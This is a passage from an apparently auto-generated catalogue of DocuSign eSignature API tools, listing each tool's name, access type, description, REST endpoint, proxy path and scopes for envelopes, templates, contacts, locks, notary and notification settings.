bulk_send_list_id. POST /api/v1/tools/docusign/esignature-bulk-send-v2-send-post-bulk-send-request. Scopes: signature. docusign_esignature_bulk_send_v2_test_post_bulk_send_test_request (write) — Creates a bulk send test. POST /restapi/v2.1/accounts/{accountId}/bulk_send_lists/{bulkSendListId}/test on DocuSign. Requires account_id, bulk_send_list_id. POST /api/v1/tools/docusign/esignature-bulk-send-v2-test-post-bulk-send-test-request. Scopes: signature. docusign_esignature_captive_recipients_delete_captive_recipients_part (write, destructive) — DESTRUCTIVE - Deletes the signature for one or more captive recipient records. POST /api/v1/tools/docusign/esignature-captive-recipients-delete-captive-recipients-part. Scopes: signature. docusign_esignature_chunked_uploads_delete_chunked_upload (write, destructive) — DESTRUCTIVE — Deletes a chunked upload. DELETE /restapi/v2.1/accounts/{accountId}/chunked_uploads/{chunkedUploadId} on DocuSign. Requires account_id, chunked_upload_id. POST /api/v1/tools/docusign/esignature-chunked-uploads-delete-chunked-upload. Scopes: signature. docusign_esignature_chunked_uploads_get_chunked_upload (read) — Retrieves metadata about a chunked upload. GET /api/v1/tools/docusign/esignature-chunked-uploads-get-chunked-upload. Scopes: signature. docusign_esignature_chunked_uploads_post_chunked_uploads (write) — Initiate a new chunked upload. POST /restapi/v2.1/accounts/{accountId}/chunked_uploads on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-chunked-uploads-post-chunked-uploads. Scopes: signature. docusign_esignature_chunked_uploads_put_chunked_upload_part (write) — Add a chunk to an existing chunked upload. POST /api/v1/tools/docusign/esignature-chunked-uploads-put-chunked-upload-part. Scopes: signature. docusign_esignature_chunked_uploads_put_chunked_uploads (write) — Commit a chunked upload. PUT /restapi/v2.1/accounts/{accountId}/chunked_uploads/{chunkedUploadId} on DocuSign. Requires account_id, chunked_upload_id. POST /api/v1/tools/docusign/esignature-chunked-uploads-put-chunked-uploads. Scopes: signature. docusign_esignature_cloud_storage_delete_cloud_storage (write, destructive) — DESTRUCTIVE - Deletes the user authentication information for the specified cloud storage provider. POST /api/v1/tools/docusign/esignature-cloud-storage-delete-cloud-storage. Scopes: signature. docusign_esignature_cloud_storage_delete_cloud_storage_providers (write, destructive) — DESTRUCTIVE - Deletes the user authentication information for one or more cloud storage providers. POST /api/v1/tools/docusign/esignature-cloud-storage-delete-cloud-storage-providers. Scopes: signature. docusign_esignature_cloud_storage_folder_get_cloud_storage_folder (read) — Gets a list of items from a cloud storage provider. GET /api/v1/tools/docusign/esignature-cloud-storage-folder-get-cloud-storage-folder. Scopes: signature. docusign_esignature_cloud_storage_folder_get_cloud_storage_folder_all (read) — Retrieves a list of all the items in a specified folder from the specified cloud storage provider. GET /api/v1/tools/docusign/esignature-cloud-storage-folder-get-cloud-storage-folder-all. Scopes: signature. docusign_esignature_cloud_storage_get_cloud_storage (read) — Gets the specified Cloud Storage Provider configuration for the User. GET /api/v1/tools/docusign/esignature-cloud-storage-get-cloud-storage. Scopes: signature. docusign_esignature_cloud_storage_get_cloud_storage_providers (read) — Get the Cloud Storage Provider configuration for the specified user. GET /api/v1/tools/docusign/esignature-cloud-storage-get-cloud-storage-providers. Scopes: signature. docusign_esignature_cloud_storage_post_cloud_storage (write) — Configures the redirect URL information for one or more cloud storage providers for the specified user. POST /api/v1/tools/docusign/esignature-cloud-storage-post-cloud-storage. Scopes: signature. docusign_esignature_comments_get_comments_transcript (read) — Gets a PDF transcript of all of the comments in an envelope. GET /api/v1/tools/docusign/esignature-comments-get-comments-transcript. Scopes: signature. docusign_esignature_connect_delete_connect_config (write, destructive) — DESTRUCTIVE - Deletes the specified Connect configuration. POST /api/v1/tools/docusign/esignature-connect-delete-connect-config. Scopes: signature. docusign_esignature_connect_failures_delete_connect_failure_log (write, destructive) — DESTRUCTIVE - Deletes a Connect failure log entry. POST /api/v1/tools/docusign/esignature-connect-failures-delete-connect-failure-log. Scopes: signature. docusign_esignature_connect_failures_get_connect_logs (read) — Gets the Connect failure log information. GET /api/v1/tools/docusign/esignature-connect-failures-get-connect-logs. Scopes: signature. docusign_esignature_connect_get_connect_all_users (read) — Returns all users from the configured Connect service. GET /api/v1/tools/docusign/esignature-connect-get-connect-all-users. Scopes: signature. docusign_esignature_connect_get_connect_config (read) — Gets the details about a Connect configuration. GET /api/v1/tools/docusign/esignature-connect-get-connect-config. Scopes: signature. docusign_esignature_connect_get_connect_configs (read) — Get Connect configuration information. GET /restapi/v2.1/accounts/{accountId}/connect on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-connect-get-connect-configs. Scopes: signature. docusign_esignature_connect_get_connect_users (read) — Returns users from the configured Connect service. GET /api/v1/tools/docusign/esignature-connect-get-connect-users. Scopes: signature. docusign_esignature_connect_hmac_delete_connect_secret (write, destructive) — DESTRUCTIVE - Deletes the connect HMAC Secret for specified account. POST /api/v1/tools/docusign/esignature-connect-hmac-delete-connect-secret. Scopes: signature. docusign_esignature_connect_hmac_get_connect_secret (read) — GET /restapi/v2.1/accounts/{accountId}/connect/secret GET /api/v1/tools/docusign/esignature-connect-hmac-get-connect-secret. Scopes: signature. docusign_esignature_connect_log_delete_connect_log (write, destructive) — DESTRUCTIVE - Deletes a specified Connect log entry. POST /api/v1/tools/docusign/esignature-connect-log-delete-connect-log. Scopes: signature. docusign_esignature_connect_log_delete_connect_logs (write, destructive) — DESTRUCTIVE - Deletes a list of Connect log entries. POST /api/v1/tools/docusign/esignature-connect-log-delete-connect-logs. Scopes: signature. docusign_esignature_connect_log_get_connect_log (read) — Gets a Connect log entry. GET /restapi/v2.1/accounts/{accountId}/connect/logs/{logId} on DocuSign. Requires account_id, log_id. GET /api/v1/tools/docusign/esignature-connect-log-get-connect-log. Scopes: signature. docusign_esignature_connect_log_get_connect_logs (read) — Gets the Connect log. GET /restapi/v2.1/accounts/{accountId}/connect/logs on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-connect-log-get-connect-logs. Scopes: signature. docusign_esignature_connect_o_auth_config_delete_connect_o_auth_config (write, destructive) — DESTRUCTIVE - Delete the Connect OAuth configuration. POST /api/v1/tools/docusign/esignature-connect-o-auth-config-delete-connect-o-auth-config. Scopes: signature. docusign_esignature_connect_o_auth_config_get_connect_o_auth_config (read) — Retrieves the Connect OAuth information for the account. GET /api/v1/tools/docusign/esignature-connect-o-auth-config-get-connect-o-auth-config. Scopes: signature. docusign_esignature_consumer_disclosure_get_consumer_disclosure (read) — Gets the default Electronic Record and Signature Disclosure for an account. GET /api/v1/tools/docusign/esignature-consumer-disclosure-get-consumer-disclosure. Scopes: signature. docusign_esignature_consumer_disclosure_get_consumer_disclosure_envelope_id_recipient_id (read) — Gets the default Electronic Record and Signature Disclosure for an envelope. GET /api/v1/tools/docusign/esignature-consumer-disclosure-get-consumer-disclosure-envelope-id-recipient-id. Scopes: signature. docusign_esignature_consumer_disclosure_get_consumer_disclosure_envelope_id_recipient_id_lang_code (read) — Gets the Electronic Record and Signature Disclosure for a specific envelope recipient. GET /api/v1/tools/docusign/esignature-consumer-disclosure-get-consumer-disclosure-envelope-id-recipient-id-lang-code. Scopes: signature. docusign_esignature_consumer_disclosure_get_consumer_disclosure_lang_code (read) — Gets the Electronic Record and Signature Disclosure for an account. GET /api/v1/tools/docusign/esignature-consumer-disclosure-get-consumer-disclosure-lang-code. Scopes: signature. docusign_esignature_consumer_disclosure_put_consumer_disclosure (write) — Updates the Electronic Record and Signature Disclosure for an account. POST /api/v1/tools/docusign/esignature-consumer-disclosure-put-consumer-disclosure. Scopes: signature. docusign_esignature_contacts_delete_contact_with_id (write, destructive) — DESTRUCTIVE — Deletes a contact. DELETE /restapi/v2.1/accounts/{accountId}/contacts/{contactId} on DocuSign. Requires account_id, contact_id. POST /api/v1/tools/docusign/esignature-contacts-delete-contact-with-id. Scopes: signature. docusign_esignature_contacts_delete_contacts (write, destructive) — DESTRUCTIVE - Deletes multiple contacts from an account. POST /api/v1/tools/docusign/esignature-contacts-delete-contacts. Scopes: signature. docusign_esignature_contacts_get_contact_by_id (read) — Gets one or more contacts. GET /restapi/v2.1/accounts/{accountId}/contacts/{contactId} on DocuSign. Requires account_id, contact_id. GET /api/v1/tools/docusign/esignature-contacts-get-contact-by-id. Scopes: signature. docusign_esignature_contacts_post_contacts (write) — Add contacts to a contacts list. POST /restapi/v2.1/accounts/{accountId}/contacts on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-contacts-post-contacts. Scopes: signature. docusign_esignature_contacts_put_contacts (write) — Updates one or more contacts. PUT /restapi/v2.1/accounts/{accountId}/contacts on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-contacts-put-contacts. Scopes: signature. docusign_esignature_custom_fields_delete_custom_fields (write, destructive) — DESTRUCTIVE - Deletes envelope custom fields for draft and in-process envelopes. POST /api/v1/tools/docusign/esignature-custom-fields-delete-custom-fields. Scopes: signature. docusign_esignature_custom_fields_delete_template_custom_fields (write, destructive) — DESTRUCTIVE - Deletes envelope custom fields in a template. POST /api/v1/tools/docusign/esignature-custom-fields-delete-template-custom-fields. Scopes: signature. docusign_esignature_custom_fields_get_custom_fields (read) — Gets the custom field information for the specified envelope. GET /api/v1/tools/docusign/esignature-custom-fields-get-custom-fields. Scopes: signature. docusign_esignature_custom_fields_get_template_custom_fields (read) — Gets the custom document fields from a template. GET /api/v1/tools/docusign/esignature-custom-fields-get-template-custom-fields. Scopes: signature. docusign_esignature_custom_fields_post_custom_fields (write) — Creates envelope custom fields for an envelope. POST /api/v1/tools/docusign/esignature-custom-fields-post-custom-fields. Scopes: signature. docusign_esignature_custom_fields_post_template_custom_fields (write) — Creates custom document fields in an existing template document. POST /api/v1/tools/docusign/esignature-custom-fields-post-template-custom-fields. Scopes: signature. docusign_esignature_custom_fields_put_custom_fields (write) — Updates envelope custom fields in an envelope. POST /api/v1/tools/docusign/esignature-custom-fields-put-custom-fields. Scopes: signature. docusign_esignature_custom_fields_put_template_custom_fields (write) — Updates envelope custom fields in a template. POST /api/v1/tools/docusign/esignature-custom-fields-put-template-custom-fields. Scopes: signature. docusign_esignature_doc_gen_form_fields_get_envelope_doc_gen_form_fields (read) — Returns sender fields for an envelope. GET /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/docGenFormFields on DocuSign. Requires account_id, envelope_id. GET /api/v1/tools/docusign/esignature-doc-gen-form-fields-get-envelope-doc-gen-form-fields. Scopes: signature. docusign_esignature_doc_gen_form_fields_put_envelope_doc_gen_form_fields (write) — Updates sender fields for an envelope. PUT /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/docGenFormFields on DocuSign. Requires account_id, envelope_id. POST /api/v1/tools/docusign/esignature-doc-gen-form-fields-put-envelope-doc-gen-form-fields. Scopes: signature. docusign_esignature_document_fields_delete_document_fields (write, destructive) — DESTRUCTIVE - Deletes custom document fields from an existing envelope document. POST /api/v1/tools/docusign/esignature-document-fields-delete-document-fields. Scopes: signature. docusign_esignature_document_fields_delete_template_document_fields (write, destructive) — DESTRUCTIVE - Deletes custom document fields from an existing template document. POST /api/v1/tools/docusign/esignature-document-fields-delete-template-document-fields. Scopes: signature. docusign_esignature_document_fields_get_document_fields (read) — Gets the custom document fields from an existing envelope document. GET /api/v1/tools/docusign/esignature-document-fields-get-document-fields. Scopes: signature. docusign_esignature_document_fields_get_template_document_fields (read) — Gets the custom document fields for a an existing template document. GET /api/v1/tools/docusign/esignature-document-fields-get-template-document-fields. Scopes: signature. docusign_esignature_document_fields_post_document_fields (write) — Creates custom document fields in an existing envelope document. POST /api/v1/tools/docusign/esignature-document-fields-post-document-fields. Scopes: signature. docusign_esignature_document_fields_post_template_document_fields (write) — Creates custom document fields in an existing template document. POST /api/v1/tools/docusign/esignature-document-fields-post-template-document-fields. Scopes: signature. docusign_esignature_document_fields_put_document_fields (write) — Updates existing custom document fields in an existing envelope document. POST /api/v1/tools/docusign/esignature-document-fields-put-document-fields. Scopes: signature. docusign_esignature_document_fields_put_template_document_fields (write) — Updates existing custom document fields in an existing template document. POST /api/v1/tools/docusign/esignature-document-fields-put-template-document-fields. Scopes: signature. docusign_esignature_documents_delete_documents (write, destructive) — DESTRUCTIVE - Deletes documents from a draft envelope. POST /api/v1/tools/docusign/esignature-documents-delete-documents. Scopes: signature. docusign_esignature_documents_delete_template_documents (write, destructive) — DESTRUCTIVE - Deletes documents from a template. POST /api/v1/tools/docusign/esignature-documents-delete-template-documents. Scopes: signature. docusign_esignature_documents_get_document (read) — Retrieves a single document or all documents from an envelope. GET /api/v1/tools/docusign/esignature-documents-get-document. Scopes: signature. docusign_esignature_documents_get_documents (read) — Gets a list of documents in an envelope. GET /api/v1/tools/docusign/esignature-documents-get-documents. Scopes: signature. docusign_esignature_documents_get_template_document (read) — Gets PDF documents from a template. GET /restapi/v2.1/accounts/{accountId}/templates/{templateId}/documents/{documentId} on DocuSign. Requires account_id, document_id, template_id. GET /api/v1/tools/docusign/esignature-documents-get-template-document. Scopes: signature. docusign_esignature_documents_get_template_documents (read) — Gets a list of documents associated with a template. GET /api/v1/tools/docusign/esignature-documents-get-template-documents. Scopes: signature. docusign_esignature_documents_put_document (write) — Adds or replaces a document in an existing envelope. POST /api/v1/tools/docusign/esignature-documents-put-document. Scopes: signature. docusign_esignature_documents_put_documents (write) — Adds one or more documents to an existing envelope. POST /api/v1/tools/docusign/esignature-documents-put-documents. Scopes: signature. docusign_esignature_documents_put_template_document (write) — Updates a template document. PUT /restapi/v2.1/accounts/{accountId}/templates/{templateId}/documents/{documentId} on DocuSign. Requires account_id, document_id, template_id. POST /api/v1/tools/docusign/esignature-documents-put-template-document. Scopes: signature. docusign_esignature_documents_put_template_documents (write) — Adds documents to a template document. PUT /restapi/v2.1/accounts/{accountId}/templates/{templateId}/documents on DocuSign. Requires account_id, template_id. POST /api/v1/tools/docusign/esignature-documents-put-template-documents. Scopes: signature. docusign_esignature_e_note_configuration_delete_e_note_configuration (write, destructive) — DESTRUCTIVE - Deletes configuration information for the eNote eOriginal integration. POST /api/v1/tools/docusign/esignature-e-note-configuration-delete-e-note-configuration. Scopes: signature. docusign_esignature_e_note_configuration_get_e_note_configuration (read) — Returns the configuration information for the eNote eOriginal integration. GET /api/v1/tools/docusign/esignature-e-note-configuration-get-e-note-configuration. Scopes: signature. docusign_esignature_e_note_configuration_put_e_note_configuration (write) — Updates configuration information for the eNote eOriginal integration. POST /api/v1/tools/docusign/esignature-e-note-configuration-put-e-note-configuration. Scopes: signature. docusign_esignature_email_settings_delete_email_settings (write, destructive) — DESTRUCTIVE - Deletes the email setting overrides for an envelope. POST /api/v1/tools/docusign/esignature-email-settings-delete-email-settings. Scopes: signature. docusign_esignature_email_settings_get_email_settings (read) — Gets the email setting overrides for an envelope. GET /api/v1/tools/docusign/esignature-email-settings-get-email-settings. Scopes: signature. docusign_esignature_email_settings_post_email_settings (write) — Adds email setting overrides to an envelope. POST /api/v1/tools/docusign/esignature-email-settings-post-email-settings. Scopes: signature. docusign_esignature_email_settings_put_email_settings (write) — Updates the email setting overrides for an envelope. POST /api/v1/tools/docusign/esignature-email-settings-put-email-settings. Scopes: signature. docusign_esignature_envelope_purge_configuration_get_envelope_purge_configuration (read, destructive) — DESTRUCTIVE - Gets the envelope purge configuration for an account. GET /api/v1/tools/docusign/esignature-envelope-purge-configuration-get-envelope-purge-configuration. Scopes: signature. docusign_esignature_envelope_purge_configuration_put_envelope_purge_configuration (write, destructive) — DESTRUCTIVE - Sets the envelope purge configuration for an account. POST /api/v1/tools/docusign/esignature-envelope-purge-configuration-put-envelope-purge-configuration. Scopes: signature. docusign_esignature_envelope_transfer_rules_delete_envelope_transfer_rules (write, destructive) — DESTRUCTIVE - Deletes an envelope transfer rule. POST /api/v1/tools/docusign/esignature-envelope-transfer-rules-delete-envelope-transfer-rules. Scopes: signature. docusign_esignature_envelope_transfer_rules_get_envelope_transfer_rules (read) — Gets envelope transfer rules. GET /restapi/v2.1/accounts/{accountId}/envelopes/transfer_rules on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-envelope-transfer-rules-get-envelope-transfer-rules. Scopes: signature. docusign_esignature_envelope_transfer_rules_post_envelope_transfer_rules (write) — Creates an envelope transfer rule. POST /restapi/v2.1/accounts/{accountId}/envelopes/transfer_rules on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-envelope-transfer-rules-post-envelope-transfer-rules. Scopes: signature. docusign_esignature_envelope_transfer_rules_put_envelope_transfer_rule (write) — Changes the status of an envelope transfer rule. POST /api/v1/tools/docusign/esignature-envelope-transfer-rules-put-envelope-transfer-rule. Scopes: signature. docusign_esignature_envelope_transfer_rules_put_envelope_transfer_rules (write) — Changes the status of multiple envelope transfer rules. POST /api/v1/tools/docusign/esignature-envelope-transfer-rules-put-envelope-transfer-rules. Scopes: signature. docusign_esignature_envelope_workflow_definition_v2_delete_envelope_workflow_definition (write, destructive) — DESTRUCTIVE - Delete the workflow definition for an envelope. POST /api/v1/tools/docusign/esignature-envelope-workflow-definition-v2-delete-envelope-workflow-definition. Scopes: signature. docusign_esignature_envelope_workflow_definition_v2_get_envelope_workflow_definition (read) — Returns the workflow definition for an envelope. GET /api/v1/tools/docusign/esignature-envelope-workflow-definition-v2-get-envelope-workflow-definition. Scopes: signature. docusign_esignature_envelope_workflow_definition_v2_put_envelope_workflow_definition (write) — Updates the workflow definition for an envelope. POST /api/v1/tools/docusign/esignature-envelope-workflow-definition-v2-put-envelope-workflow-definition. Scopes: signature. docusign_esignature_envelope_workflow_delayed_routing_delete_envelope_delayed_routing_definition (write, destructive) — DESTRUCTIVE - Deletes the delayed routing rules for the specified envelope workflow step. POST /api/v1/tools/docusign/esignature-envelope-workflow-delayed-routing-delete-envelope-delayed-routing-definition. Scopes: signature. docusign_esignature_envelope_workflow_delayed_routing_get_envelope_delayed_routing_definition (read) — Returns the delayed routing rules for an envelope's workflow step definition. GET /api/v1/tools/docusign/esignature-envelope-workflow-delayed-routing-get-envelope-delayed-routing-definition. Scopes: signature. docusign_esignature_envelope_workflow_delayed_routing_put_envelope_delayed_routing_definition (write) — Updates the delayed routing rules for an envelope's workflow step definition. POST /api/v1/tools/docusign/esignature-envelope-workflow-delayed-routing-put-envelope-delayed-routing-definition. Scopes: signature. docusign_esignature_envelope_workflow_scheduled_sending_delete_envelope_scheduled_sending_definition (write, destructive) — DESTRUCTIVE - Deletes the scheduled sending rules for the envelope's workflow. POST /api/v1/tools/docusign/esignature-envelope-workflow-scheduled-sending-delete-envelope-scheduled-sending-definition. Scopes: signature. docusign_esignature_envelope_workflow_scheduled_sending_get_envelope_scheduled_sending_definition (read) — Returns the scheduled sending rules for an envelope's workflow definition. GET /api/v1/tools/docusign/esignature-envelope-workflow-scheduled-sending-get-envelope-scheduled-sending-definition. Scopes: signature. docusign_esignature_envelope_workflow_scheduled_sending_put_envelope_scheduled_sending_definition (write) — Updates the scheduled sending rules for an envelope's workflow. POST /api/v1/tools/docusign/esignature-envelope-workflow-scheduled-sending-put-envelope-scheduled-sending-definition. Scopes: signature. docusign_esignature_envelope_workflow_step_delete_envelope_workflow_step_definition (write, destructive) — DESTRUCTIVE - Deletes a workflow step from an envelope's workflow definition. POST /api/v1/tools/docusign/esignature-envelope-workflow-step-delete-envelope-workflow-step-definition. Scopes: signature. docusign_esignature_envelope_workflow_step_get_envelope_workflow_step_definition (read) — Returns a specified workflow step for a specified template. GET /api/v1/tools/docusign/esignature-envelope-workflow-step-get-envelope-workflow-step-definition. Scopes: signature. docusign_esignature_envelope_workflow_step_post_envelope_workflow_step_definition (write) — Adds a new step to an envelope's workflow. POST /api/v1/tools/docusign/esignature-envelope-workflow-step-post-envelope-workflow-step-definition. Scopes: signature. docusign_esignature_envelope_workflow_step_put_envelope_workflow_step_definition (write) — Updates the specified workflow step for an envelope. POST /api/v1/tools/docusign/esignature-envelope-workflow-step-put-envelope-workflow-step-definition. Scopes: signature. docusign_esignature_envelopes_get_envelope (read) — Gets the status of a single envelope. GET /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId} on DocuSign. Requires account_id, envelope_id. GET /api/v1/tools/docusign/esignature-envelopes-get-envelope. Scopes: signature. docusign_esignature_envelopes_get_envelopes (read) — Search for specific sets of envelopes by using search filters. GET /api/v1/tools/docusign/esignature-envelopes-get-envelopes. Scopes: signature. docusign_esignature_envelopes_post_envelopes (write) — Creates an envelope. POST /restapi/v2.1/accounts/{accountId}/envelopes on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-envelopes-post-envelopes. Scopes: signature. docusign_esignature_envelopes_put_envelope (write) — Send, void, or modify a draft envelope. Purge documents from a completed envelope. POST /api/v1/tools/docusign/esignature-envelopes-put-envelope. Scopes: signature. docusign_esignature_envelopes_put_status (write) — Gets envelope statuses for a set of envelopes. POST /api/v1/tools/docusign/esignature-envelopes-put-status. Scopes: signature. docusign_esignature_envelopes_shares_delete_envelopes_share (write, destructive) — DESTRUCTIVE - DELETE /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/shares/{shareId} POST /api/v1/tools/docusign/esignature-envelopes-shares-delete-envelopes-share. Scopes: signature. docusign_esignature_envelopes_shares_delete_envelopes_shares (write, destructive) — DESTRUCTIVE - DELETE /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/shares POST /api/v1/tools/docusign/esignature-envelopes-shares-delete-envelopes-shares. Scopes: signature. docusign_esignature_envelopes_shares_get_envelopes_share (read) — GET /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/shares/{shareId} GET /api/v1/tools/docusign/esignature-envelopes-shares-get-envelopes-share. Scopes: signature. docusign_esignature_envelopes_shares_get_envelopes_shares (read) — GET /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/shares GET /api/v1/tools/docusign/esignature-envelopes-shares-get-envelopes-shares. Scopes: signature. docusign_esignature_envelopes_shares_post_envelopes_shares (write) — POST /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/shares POST /api/v1/tools/docusign/esignature-envelopes-shares-post-envelopes-shares. Scopes: signature. docusign_esignature_envelopes_shares_put_envelopes_share (write) — PUT /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/shares/{shareId} POST /api/v1/tools/docusign/esignature-envelopes-shares-put-envelopes-share. Scopes: signature. docusign_esignature_envelopes_shares_put_envelopes_shares (write) — PUT /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/shares POST /api/v1/tools/docusign/esignature-envelopes-shares-put-envelopes-shares. Scopes: signature. docusign_esignature_favorite_templates_get_favorite_templates (read) — Retrieves the list of favorite templates for the account. GET /api/v1/tools/docusign/esignature-favorite-templates-get-favorite-templates. Scopes: signature. docusign_esignature_favorite_templates_put_favorite_template (write) — Set one or more templates as account favorites. POST /api/v1/tools/docusign/esignature-favorite-templates-put-favorite-template. Scopes: signature. docusign_esignature_favorite_templates_un_favorite_template (write, destructive) — DESTRUCTIVE - Remove one or more templates from the account favorites. POST /api/v1/tools/docusign/esignature-favorite-templates-un-favorite-template. Scopes: signature. docusign_esignature_folders_get_folder_items (read) — Gets information about items in a specified folder. GET /api/v1/tools/docusign/esignature-folders-get-folder-items. Scopes: signature. docusign_esignature_folders_get_folders (read) — Returns a list of the account's folders. GET /api/v1/tools/docusign/esignature-folders-get-folders. Scopes: signature. docusign_esignature_folders_put_folder_by_id (write) — Moves a set of envelopes from their current folder to another folder. POST /api/v1/tools/docusign/esignature-folders-put-folder-by-id. Scopes: signature. docusign_esignature_form_data_get_form_data (read) — Returns envelope tab data for an existing envelope. GET /api/v1/tools/docusign/esignature-form-data-get-form-data. Scopes: signature. docusign_esignature_groups_delete_group_users (write, destructive) — DESTRUCTIVE - Deletes one or more users from a group POST /api/v1/tools/docusign/esignature-groups-delete-group-users. Scopes: signature. docusign_esignature_groups_delete_groups (write, destructive) — DESTRUCTIVE - Deletes an existing user group. POST /api/v1/tools/docusign/esignature-groups-delete-groups. Scopes: signature. docusign_esignature_groups_get_group_users (read) — Gets a list of users in a group. GET /restapi/v2.1/accounts/{accountId}/groups/{groupId}/users on DocuSign. Requires account_id, group_id. GET /api/v1/tools/docusign/esignature-groups-get-group-users. Scopes: signature. docusign_esignature_groups_get_groups (read) — Gets information about groups associated with the account. GET /api/v1/tools/docusign/esignature-groups-get-groups. Scopes: signature. docusign_esignature_groups_post_groups (write) — Creates one or more groups for the account. POST /api/v1/tools/docusign/esignature-groups-post-groups. Scopes: signature. docusign_esignature_groups_put_group_users (write) — Adds one or more users to an existing group. POST /api/v1/tools/docusign/esignature-groups-put-group-users. Scopes: signature. docusign_esignature_groups_put_groups (write) — Updates the group information for a group. POST /api/v1/tools/docusign/esignature-groups-put-groups. Scopes: signature. docusign_esignature_lock_delete_envelope_lock (write, destructive) — DESTRUCTIVE — Deletes an envelope lock. DELETE /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/lock on DocuSign. Requires account_id, envelope_id. POST /api/v1/tools/docusign/esignature-lock-delete-envelope-lock. Scopes: signature. docusign_esignature_lock_delete_template_lock (write, destructive) — DESTRUCTIVE — Deletes a template lock. DELETE /restapi/v2.1/accounts/{accountId}/templates/{templateId}/lock on DocuSign. Requires account_id, template_id. POST /api/v1/tools/docusign/esignature-lock-delete-template-lock. Scopes: signature. docusign_esignature_lock_get_envelope_lock (read) — Gets envelope lock information. GET /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/lock on DocuSign. Requires account_id, envelope_id. GET /api/v1/tools/docusign/esignature-lock-get-envelope-lock. Scopes: signature. docusign_esignature_lock_get_template_lock (read) — Gets template lock information. GET /restapi/v2.1/accounts/{accountId}/templates/{templateId}/lock on DocuSign. Requires account_id, template_id. GET /api/v1/tools/docusign/esignature-lock-get-template-lock. Scopes: signature. docusign_esignature_lock_post_envelope_lock (write) — Locks an envelope. POST /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/lock on DocuSign. Requires account_id, envelope_id. POST /api/v1/tools/docusign/esignature-lock-post-envelope-lock. Scopes: signature. docusign_esignature_lock_post_template_lock (write) — Locks a template. POST /restapi/v2.1/accounts/{accountId}/templates/{templateId}/lock on DocuSign. Requires account_id, template_id. POST /api/v1/tools/docusign/esignature-lock-post-template-lock. Scopes: signature. docusign_esignature_lock_put_envelope_lock (write) — Updates an envelope lock. PUT /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/lock on DocuSign. Requires account_id, envelope_id. POST /api/v1/tools/docusign/esignature-lock-put-envelope-lock. Scopes: signature. docusign_esignature_lock_put_template_lock (write) — Updates a template lock. PUT /restapi/v2.1/accounts/{accountId}/templates/{templateId}/lock on DocuSign. Requires account_id, template_id. POST /api/v1/tools/docusign/esignature-lock-put-template-lock. Scopes: signature. docusign_esignature_notary_get_notary (read) — Gets settings for a notary user. GET /restapi/v2.1/current_user/notary on DocuSign. GET /api/v1/tools/docusign/esignature-notary-get-notary. Scopes: signature. docusign_esignature_notary_journals_get_notary_journals (read) — Gets notary jurisdictions for a user. GET /restapi/v2.1/current_user/notary/journals on DocuSign. GET /api/v1/tools/docusign/esignature-notary-journals-get-notary-journals. Scopes: signature. docusign_esignature_notary_jurisdictions_delete_notary_jurisdiction (write, destructive) — DESTRUCTIVE - Deletes the specified jurisdiction. POST /api/v1/tools/docusign/esignature-notary-jurisdictions-delete-notary-jurisdiction. Scopes: signature. docusign_esignature_notary_jurisdictions_get_notary_jurisdiction (read) — Gets a jurisdiction object for the current user. The user must be a notary. GET /api/v1/tools/docusign/esignature-notary-jurisdictions-get-notary-jurisdiction. Scopes: signature. docusign_esignature_notary_jurisdictions_get_notary_jurisdictions (read) — Returns a list of jurisdictions that the notary is registered in. GET /api/v1/tools/docusign/esignature-notary-jurisdictions-get-notary-jurisdictions. Scopes: signature. docusign_esignature_notary_jurisdictions_post_notary_jurisdictions (write) — Creates a jurisdiction object. POST /restapi/v2.1/current_user/notary/jurisdictions on DocuSign. POST /api/v1/tools/docusign/esignature-notary-jurisdictions-post-notary-jurisdictions. Scopes: signature. docusign_esignature_notary_jurisdictions_put_notary_jurisdiction (write) — Updates the jurisdiction information about a notary. POST /api/v1/tools/docusign/esignature-notary-jurisdictions-put-notary-jurisdiction. Scopes: signature. docusign_esignature_notary_post_notary (write) — Registers the current user as a notary. POST /restapi/v2.1/current_user/notary on DocuSign. POST /api/v1/tools/docusign/esignature-notary-post-notary. Scopes: signature. docusign_esignature_notary_put_notary (write) — Updates notary information for the current user. POST /api/v1/tools/docusign/esignature-notary-put-notary. Scopes: signature. docusign_esignature_notification_defaults_get_notification_defaults (read) — Gets envelope notification defaults. GET /restapi/v2.1/accounts/{accountId}/settings/notification_defaults on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-notification-defaults-get-notification-defaults. Scopes: signature. docusign_esignature_notification_defaults_put_notification_defaults (write) — Updates envelope notification default settings. POST /api/v1/tools/docusign/esignature-notification-defaults-put-notification-defaults. Scopes: signature. docusign_esignature_notification_get_envelopes_envelope_id_notification (read) — Gets envelope notification information. GET /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/notification on DocuSign. Requires account_id, envelope_id. GET /api/v1/tools/docusign/esignature-notification-get-envelopes-envelope-id-notification. Scopes: signature. docusign_esignature_notification_get_templates_template_id_notification (read) — Gets template notification information. GET /restapi/v2.1/accounts/{accountId}/templates/{templateId}/notification on DocuSign. Requires account_id, template_id. GET /api/v1/tools/docusign/esignature-notification-get-templates-template-id-notification. Scopes: signature. docusign_esignature_notification_put_envelopes_envelope_id_notification (write) — Sets envelope notifications for an existing envelope. POST /api/v1/tools/docusign/esignature-notification-put-envelopes-envelope-id-notification. Scopes: signature. docusign_esignature_notification_put_templates_template_id_notification (write) — Updates the notification structure for an existing template. POST /api/v1/tools/docusign/esignature-notification-put-templates-template-id-notification. Scopes: 